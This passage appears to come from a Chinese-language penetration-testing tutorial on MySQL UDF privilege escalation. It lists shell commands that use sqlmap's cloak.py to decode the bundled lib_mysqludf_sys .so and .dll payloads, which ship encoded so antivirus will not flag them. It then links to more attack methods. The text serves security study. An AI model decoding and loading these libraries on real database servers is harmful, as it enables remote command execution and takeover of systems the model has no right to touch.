udf.dll';
dll和so文件
sqlmap中.dll和.so文件的路径:sqlmap/data/udf/mysql
不过 sqlmap 中
自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。不过可以利用
sqlmap 自带的解码工具cloak.py来解码使用
1 2 3 4 5 6 7 8 9 10 └─$pwd /mnt/ c/Penetration/ DatabaseTools/SQLMap/ extra/cloak └─$python3 cloak.py -d -i ../../ data/udf/my sql/linux/ 32 /lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so └─$python3 cloak.py -d -i ../../ data/udf/my sql/linux/ 64 /lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so └─$python3 cloak.py -d -i ../../ data/udf/my sql/windows/ 32 /lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll └─$python3 cloak.py -d -i ../../ data/udf/my sql/windows/ 64 /lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll
更多攻击方法参考
https://www.sqlsec.com/2020/11/mysql.html#%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0